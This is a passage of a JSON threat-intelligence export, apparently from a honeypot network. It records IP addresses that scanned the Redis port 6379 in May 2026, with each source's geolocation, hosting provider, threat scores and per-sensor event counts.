    "84.247.138.235": {
      "attack_count": 8,
      "first_seen": "2026-05-22T14:23:19.000Z",
      "last_seen": "2026-05-22T14:24:57.617Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "France",
      "country_code": "FR",
      "city": "Lauterbourg",
      "asn": 51167,
      "as_org": "Contabo GmbH",
      "threat_score": 45.6,
      "threat_level": "medium",
      "score_components": {
        "frequency": 13.6,
        "persistence": 3.3,
        "diversity": 20,
        "spread": 20,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 23,
        "days_active_30d": 4,
        "ports_targeted_30d": 10,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-05-22T14:23:19+00:00",
        "last_seen_30d": "2026-05-25T01:34:45.882000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Suricata": 13,
        "Honeytrap": 6,
        "Cowrie": 2,
        "Redishoneypot": 2
      }
    },
    "165.227.16.25": {
      "attack_count": 7,
      "first_seen": "2026-05-15T04:32:56.000Z",
      "last_seen": "2026-05-15T04:33:57.292Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Santa Clara",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 35.4,
      "threat_level": "low",
      "score_components": {
        "frequency": 30,
        "persistence": 0.8,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 157384,
        "days_active_30d": 1,
        "ports_targeted_30d": 65822,
        "honeypots_triggered_30d": 14,
        "first_seen_30d": "2026-05-15T04:29:48+00:00",
        "last_seen_30d": "2026-05-15T04:42:25.760000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Suricata": 134292,
        "Honeytrap": 23035,
        "Mailoney": 12,
        "Dionaea": 10,
        "ConPot": 9,
        "Cowrie": 8,
        "Miniprint": 8,
        "Dicompot": 3,
        "ElasticPot": 1,
        "Honeyaml": 1,
        "Ipphoney": 1,
        "Medpot": 1,
        "Tanner": 1
      }
    },
    "37.60.241.154": {
      "attack_count": 7,
      "first_seen": "2026-05-23T06:54:39.000Z",
      "last_seen": "2026-05-23T07:04:44.303Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "France",
      "country_code": "FR",
      "city": "Lauterbourg",
      "asn": 51167,
      "as_org": "Contabo GmbH",
      "threat_score": 100,
      "threat_level": "critical",
      "score_components": {
        "frequency": 30,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 6164,
        "days_active_30d": 30,
        "ports_targeted_30d": 2005,
        "honeypots_triggered_30d": 10,
        "first_seen_30d": "2026-05-02T00:19:04+00:00",
        "last_seen_30d": "2026-05-31T23:43:37.838000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 3403,
        "Honeytrap": 2712,
        "Dionaea": 15,
        "Miniprint": 12,
        "ConPot": 6,
        "Cowrie": 6,
        "Adbhoney": 4,
        "Dicompot": 3,
        "Redishoneypot": 2,
        "Sentrypeer": 1
      }
    },
    "137.184.135.145": {
      "attack_count": 6,
      "first_seen": "2026-05-18T11:53:45.000Z",
      "last_seen": "2026-05-18T11:55:19.595Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "North Bergen",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 23.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 14.5,
        "persistence": 1.7,
        "diversity": 20,
        "spread": 5,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 28,
        "days_active_30d": 2,
        "ports_targeted_30d": 28,
        "honeypots_triggered_30d": 1,
        "first_seen_30d": "2026-05-17T07:42:16.154000+00:00",
        "last_seen_30d": "2026-05-18T12:34:27.567000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Suricata": 28
      }
    },
    "170.64.162.120": {
      "attack_count": 6,
      "first_seen": "2026-05-25T09:15:46.000Z",
      "last_seen": "2026-05-25T09:16:55.137Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "Australia",
      "country_code": "AU",
      "city": "Sydney",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 35.4,
      "threat_level": "low",
      "score_components": {
        "frequency": 18.5,
        "persistence": 0.8,
        "diversity": 20,
        "spread": 5,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 70,
        "days_active_30d": 1,
        "ports_targeted_30d": 70,
        "honeypots_triggered_30d": 1,
        "first_seen_30d": "2026-05-25T09:16:47.201000+00:00",
        "last_seen_30d": "2026-05-25T09:17:25.968000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Suricata": 70
      }
    },
    "193.163.125.26": {
      "attack_count": 6,
      "first_seen": "2026-05-31T06:29:32.000Z",
      "last_seen": "2026-05-31T06:30:38.268Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United Kingdom",
      "country_code": "GB",
      "city": null,
      "asn": 211298,
      "as_org": "Driftnet Ltd",
      "threat_score": 70.2,
      "threat_level": "high",
      "score_components": {
        "frequency": 20.2,
        "persistence": 25,
        "diversity": 20,
        "spread": 5,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 104,
        "days_active_30d": 30,
        "ports_targeted_30d": 97,
        "honeypots_triggered_30d": 1,
        "first_seen_30d": "2026-05-02T22:30:27.602000+00:00",
        "last_seen_30d": "2026-05-31T21:11:44.741000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 104
      }
    },
    "206.81.14.113": {
      "attack_count": 6,
      "first_seen": "2026-05-20T08:25:10.000Z",
      "last_seen": "2026-05-20T08:26:51.264Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "North Bergen",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 28.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 14.6,
        "persistence": 2.5,
        "diversity": 20,
        "spread": 5,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 29,
        "days_active_30d": 3,
        "ports_targeted_30d": 29,
        "honeypots_triggered_30d": 1,
        "first_seen_30d": "2026-05-19T21:11:39.480000+00:00",
        "last_seen_30d": "2026-05-21T00:09:45.367000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Suricata": 29
      }
    },
    "47.116.201.11": {
      "attack_count": 6,
      "first_seen": "2026-05-19T09:52:37.000Z",
      "last_seen": "2026-05-19T09:53:47.257Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Shanghai",
      "asn": 37963,
      "as_org": "Hangzhou Alibaba Advertising Co.,Ltd.",
      "threat_score": 4.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 0.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 5,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 1,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 1,
        "first_seen_30d": "2026-05-19T09:53:47.257000+00:00",
        "last_seen_30d": "2026-05-19T09:53:47.257000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Suricata": 1
      }
    },
    "8.142.178.141": {
      "attack_count": 6,
      "first_seen": "2026-05-13T19:58:57.000Z",
      "last_seen": "2026-05-13T20:00:07.450Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Beijing",
      "asn": 37963,
      "as_org": "Hangzhou Alibaba Advertising Co.,Ltd.",
      "threat_score": 33.7,
      "threat_level": "low",
      "score_components": {
        "frequency": 10.4,
        "persistence": 12.5,
        "diversity": 6,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 11,
        "days_active_30d": 15,
        "ports_targeted_30d": 3,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-13T20:00:07.450000+00:00",
        "last_seen_30d": "2026-05-27T08:31:43.815000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Suricata": 9,
        "Honeytrap": 2
      }
    },
    "100.29.192.68": {
      "attack_count": 5,
      "first_seen": "2026-05-26T17:57:44.000Z",
      "last_seen": "2026-05-26T17:59:24.727Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Ashburn",
      "asn": 14618,
      "as_org": "Amazon.com, Inc.",
      "threat_score": 35.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 8.5,
        "persistence": 13.3,
        "diversity": 14,
        "spread": 5,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 7,
        "days_active_30d": 16,
        "ports_targeted_30d": 7,
        "honeypots_triggered_30d": 1,
        "first_seen_30d": "2026-05-12T08:25:25.430000+00:00",
        "last_seen_30d": "2026-05-27T13:29:28.967000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Suricata": 7
      }
    },
    "100.50.17.159": {
      "attack_count": 5,
      "first_seen": "2026-05-08T00:53:55.000Z",
      "last_seen": "2026-05-08T00:55:00.007Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Ashburn",
      "asn": 14618,
      "as_org": "Amazon.com, Inc.",
      "threat_score": 76.3,
      "threat_level": "high",
      "score_components": {
        "frequency": 26.3,
        "persistence": 25,
        "diversity": 20,
        "spread": 5,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 429,
        "days_active_30d": 30,
        "ports_targeted_30d": 189,
        "honeypots_triggered_30d": 1,
        "first_seen_30d": "2026-05-02T00:53:28.652000+00:00",
        "last_seen_30d": "2026-05-31T17:53:40.769000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 429
      }
    },
    "119.45.38.38": {
      "attack_count": 5,
      "first_seen": "2026-05-15T13:49:58.000Z",
      "last_seen": "2026-05-15T13:51:04.462Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Nanjing",
      "asn": 45090,
      "as_org": "Shenzhen Tencent Computer Systems Company Limited",
      "threat_score": 3.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 0.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 5,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 1,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 1,
        "first_seen_30d": "2026-05-15T13:51:04.462000+00:00",
        "last_seen_30d": "2026-05-15T13:51:04.462000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Suricata": 1
      }
    },
    "157.245.251.26": {
      "attack_count": 5,
      "first_seen": "2026-05-23T12:12:43.000Z",
      "last_seen": "2026-05-23T12:14:18.871Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "North Bergen",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 30.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 14.6,
        "persistence": 1.7,
        "diversity": 20,
        "spread": 5,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 29,
        "days_active_30d": 2,
        "ports_targeted_30d": 29,
        "honeypots_triggered_30d": 1,
        "first_seen_30d": "2026-05-22T10:25:49.281000+00:00",
        "last_seen_30d": "2026-05-23T12:51:28.400000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Suricata": 29
      }
    },
    "159.89.141.114": {
      "attack_count": 5,
      "first_seen": "2026-05-19T01:39:25.000Z",
      "last_seen": "2026-05-19T01:40:28.680Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Santa Clara",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 8.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 3.0,
        "persistence": 2.5,
        "diversity": 4,
        "spread": 5,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 2,
        "days_active_30d": 3,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 1,
        "first_seen_30d": "2026-05-17T23:38:57.979000+00:00",
        "last_seen_30d": "2026-05-19T01:40:28.680000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Suricata": 2
      }
    },
    "165.227.126.13": {
      "attack_count": 5,
      "first_seen": "2026-05-10T20:33:33.000Z",
      "last_seen": "2026-05-10T20:34:37.245Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Clifton",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 18.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 30,
        "persistence": 0.8,
        "diversity": 20,
        "spread": 10,
        "recency_factor": 0.3
      },
      "reputation_metrics": {
        "total_events_30d": 1898,
        "days_active_30d": 1,
        "ports_targeted_30d": 1890,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-10T20:32:53+00:00",
        "last_seen_30d": "2026-05-10T21:19:51.480000+00:00",
        "days_since_last_seen": 21
      },
      "honeypot_breakdown_30d": {
        "Suricata": 1867,
        "Honeytrap": 31
      }
    },
    "198.199.87.184": {
      "attack_count": 5,
      "first_seen": "2026-05-22T19:23:53.000Z",
      "last_seen": "2026-05-22T19:24:57.747Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "North Bergen",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 5.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 0.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 5,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 1,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 1,
        "first_seen_30d": "2026-05-22T19:24:57.747000+00:00",
        "last_seen_30d": "2026-05-22T19:24:57.747000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Suricata": 1
      }
    },
    "199.45.154.187": {
      "attack_count": 5,
      "first_seen": "2026-05-20T18:42:54.000Z",
      "last_seen": "2026-05-20T18:44:04.647Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398722,
      "as_org": "Censys, Inc.",
      "threat_score": 69.3,
      "threat_level": "high",
      "score_components": {
        "frequency": 19.3,
        "persistence": 25,
        "diversity": 20,
        "spread": 5,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 86,
        "days_active_30d": 30,
        "ports_targeted_30d": 76,
        "honeypots_triggered_30d": 1,
        "first_seen_30d": "2026-05-02T14:27:12.232000+00:00",
        "last_seen_30d": "2026-05-31T00:03:21.680000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 86
      }
    },
    "41.58.186.130": {
      "attack_count": 5,
      "first_seen": "2026-05-22T05:28:44.000Z",
      "last_seen": "2026-05-22T05:29:51.007Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "Nigeria",
      "country_code": "NG",
      "city": "Lagos",
      "asn": 36923,
      "as_org": "SWIFTNG-ASN",
      "threat_score": 5.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 0.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 5,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 1,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 1,
        "first_seen_30d": "2026-05-22T05:29:51.007000+00:00",
        "last_seen_30d": "2026-05-22T05:29:51.007000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Suricata": 1
      }
    },
    "45.79.109.130": {
      "attack_count": 5,
      "first_seen": "2026-05-31T12:43:52.000Z",
      "last_seen": "2026-05-31T12:45:01.200Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Fremont",
      "asn": 63949,
      "as_org": "Akamai Connected Cloud",
      "threat_score": 72.2,
      "threat_level": "high",
      "score_components": {
        "frequency": 22.2,
        "persistence": 25,
        "diversity": 20,
        "spread": 5,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 165,
        "days_active_30d": 30,
        "ports_targeted_30d": 158,
        "honeypots_triggered_30d": 1,
        "first_seen_30d": "2026-05-02T00:04:55.622000+00:00",
        "last_seen_30d": "2026-05-31T19:06:32.208000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 165
      }
    },
    "47.92.97.77": {
      "attack_count": 5,
      "first_seen": "2026-05-09T00:39:28.000Z",
      "last_seen": "2026-05-09T00:40:38.747Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Beijing",
      "asn": 37963,
      "as_org": "Hangzhou Alibaba Advertising Co.,Ltd.",
      "threat_score": 2.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 0.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 5,
        "recency_factor": 0.27
      },
      "reputation_metrics": {
        "total_events_30d": 1,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 1,
        "first_seen_30d": "2026-05-09T00:40:38.747000+00:00",
        "last_seen_30d": "2026-05-09T00:40:38.747000+00:00",
        "days_since_last_seen": 22
      },
      "honeypot_breakdown_30d": {
        "Suricata": 1
      }
    },
    "64.62.156.32": {
      "attack_count": 5,
      "first_seen": "2026-05-11T02:43:28.000Z",
      "last_seen": "2026-05-11T02:44:35.389Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Minneapolis",
      "asn": 6939,
      "as_org": "Hurricane Electric LLC",
      "threat_score": 59.7,
      "threat_level": "medium",
      "score_components": {
        "frequency": 13.8,
        "persistence": 22.5,
        "diversity": 20,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 24,
        "days_active_30d": 27,
        "ports_targeted_30d": 16,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-02T01:42:38.729000+00:00",
        "last_seen_30d": "2026-05-28T08:31:43.720000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Suricata": 19,
        "Honeytrap": 5
      }
    },
    "66.132.186.214": {
      "attack_count": 5,
      "first_seen": "2026-05-17T04:49:48.000Z",
      "last_seen": "2026-05-17T04:50:54.625Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398324,
      "as_org": "Censys, Inc.",
      "threat_score": 61.4,
      "threat_level": "high",
      "score_components": {
        "frequency": 17.4,
        "persistence": 23.3,
        "diversity": 20,
        "spread": 5,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 55,
        "days_active_30d": 28,
        "ports_targeted_30d": 50,
        "honeypots_triggered_30d": 1,
        "first_seen_30d": "2026-05-02T20:36:43.467000+00:00",
        "last_seen_30d": "2026-05-29T14:37:57.778000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Suricata": 55
      }
    },
    "66.132.195.143": {
      "attack_count": 5,
      "first_seen": "2026-05-23T17:32:10.000Z",
      "last_seen": "2026-05-23T17:33:50.958Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398324,
      "as_org": "Censys, Inc.",
      "threat_score": 40.6,
      "threat_level": "medium",
      "score_components": {
        "frequency": 12.0,
        "persistence": 18.3,
        "diversity": 20,
        "spread": 5,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 16,
        "days_active_30d": 22,
        "ports_targeted_30d": 13,
        "honeypots_triggered_30d": 1,
        "first_seen_30d": "2026-05-02T00:51:43.184000+00:00",
        "last_seen_30d": "2026-05-23T17:33:50.958000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Suricata": 16
      }
    },
    "66.240.236.109": {
      "attack_count": 5,
      "first_seen": "2026-05-02T18:09:05.000Z",
      "last_seen": "2026-05-02T18:10:15.562Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 10439,
      "as_org": "CariNet, Inc.",
      "threat_score": 77.5,
      "threat_level": "high",
      "score_components": {
        "frequency": 18.6,
        "persistence": 22.5,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 72,
        "days_active_30d": 27,
        "ports_targeted_30d": 16,
        "honeypots_triggered_30d": 6,
        "first_seen_30d": "2026-05-02T18:10:15.562000+00:00",
        "last_seen_30d": "2026-05-28T08:47:33.260000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Suricata": 58,
        "Dionaea": 5,
        "ElasticPot": 3,
        "Honeytrap": 3,
        "Cowrie": 2,
        "H0neytr4p": 1
      }
    },
    "109.105.209.4": {
      "attack_count": 4,
      "first_seen": "2026-05-21T04:17:42.000Z",
      "last_seen": "2026-05-21T04:18:48.258Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "Portugal",
      "country_code": "PT",
      "city": null,
      "asn": 21859,
      "as_org": "Zenlayer Inc",
      "threat_score": 56.8,
      "threat_level": "medium",
      "score_components": {
        "frequency": 18.2,
        "persistence": 20.0,
        "diversity": 20,
        "spread": 10,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 66,
        "days_active_30d": 24,
        "ports_targeted_30d": 12,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-03T23:43:20.268000+00:00",
        "last_seen_30d": "2026-05-26T03:42:55.161000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Suricata": 42,
        "Honeytrap": 24
      }
    },
    "134.122.197.217": {
      "attack_count": 4,
      "first_seen": "2026-05-18T22:02:07.000Z",
      "last_seen": "2026-05-18T22:03:17.160Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "Japan",
      "country_code": "JP",
      "city": "Tokyo",
      "asn": 152194,
      "as_org": "CTG Server Limited",
      "threat_score": 20.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 9.5,
        "persistence": 1.7,
        "diversity": 18,
        "spread": 5,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 9,
        "days_active_30d": 2,
        "ports_targeted_30d": 9,
        "honeypots_triggered_30d": 1,
        "first_seen_30d": "2026-05-18T20:59:24.256000+00:00",
        "last_seen_30d": "2026-05-19T00:09:10.516000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Suricata": 9
      }
    },
    "167.99.154.106": {
      "attack_count": 4,
      "first_seen": "2026-05-22T16:19:14.000Z",
      "last_seen": "2026-05-22T16:20:22.024Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "North Bergen",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 57.6,
      "threat_level": "medium",
      "score_components": {
        "frequency": 30,
        "persistence": 4.2,
        "diversity": 20,
        "spread": 15,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 1939,
        "days_active_30d": 5,
        "ports_targeted_30d": 1874,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-22T15:46:46+00:00",
        "last_seen_30d": "2026-05-26T05:51:57.660000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Suricata": 1860,
        "Honeytrap": 78,
        "Dionaea": 1
      }
    },
    "176.65.149.39": {
      "attack_count": 4,
      "first_seen": "2026-05-15T18:44:34.000Z",
      "last_seen": "2026-05-15T18:45:41.896Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "The Netherlands",
      "country_code": "NL",
      "city": "Eygelshoven",
      "asn": 51396,
      "as_org": "Pfcloud UG (haftungsbeschrankt)",
      "threat_score": 20.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 10.4,
        "persistence": 5.8,
        "diversity": 20,
        "spread": 5,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 11,
        "days_active_30d": 7,
        "ports_targeted_30d": 10,
        "honeypots_triggered_30d": 1,
        "first_seen_30d": "2026-05-10T23:06:28.243000+00:00",
        "last_seen_30d": "2026-05-16T10:22:39.650000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Suricata": 11
      }
    },
    "184.105.247.232": {
      "attack_count": 4,
      "first_seen": "2026-05-04T02:40:36.000Z",
      "last_seen": "2026-05-04T02:41:42.543Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 6939,
      "as_org": "Hurricane Electric LLC",
      "threat_score": 67.4,
      "threat_level": "high",
      "score_components": {
        "frequency": 13.2,
        "persistence": 24.2,
        "diversity": 20,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 21,
        "days_active_30d": 29,
        "ports_targeted_30d": 17,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-03T04:23:03.086000+00:00",
        "last_seen_30d": "2026-05-31T01:23:41.971000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 18,
        "Honeytrap": 3
      }
    },
    "198.199.65.51": {
      "attack_count": 4,
      "first_seen": "2026-05-20T10:07:56.000Z",
      "last_seen": "2026-05-20T10:08:57.508Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "North Bergen",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 38.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 30,
        "persistence": 0.8,
        "diversity": 20,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 1900,
        "days_active_30d": 1,
        "ports_targeted_30d": 1891,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-20T09:33:37.433000+00:00",
        "last_seen_30d": "2026-05-20T10:13:09.293000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Suricata": 1873,
        "Honeytrap": 27
      }
    },
    "216.218.206.81": {
      "attack_count": 4,
      "first_seen": "2026-05-17T14:34:47.000Z",
      "last_seen": "2026-05-17T14:35:50.039Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Cazadero",
      "asn": 6939,
      "as_org": "Hurricane Electric LLC",
      "threat_score": 35.9,
      "threat_level": "low",
      "score_components": {
        "frequency": 9.0,
        "persistence": 15.0,
        "diversity": 14,
        "spread": 5,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 8,
        "days_active_30d": 18,
        "ports_targeted_30d": 7,
        "honeypots_triggered_30d": 1,
        "first_seen_30d": "2026-05-09T01:21:44.817000+00:00",
        "last_seen_30d": "2026-05-26T10:24:53.955000+00:00",
        "days_since_last_seen": 5
      },
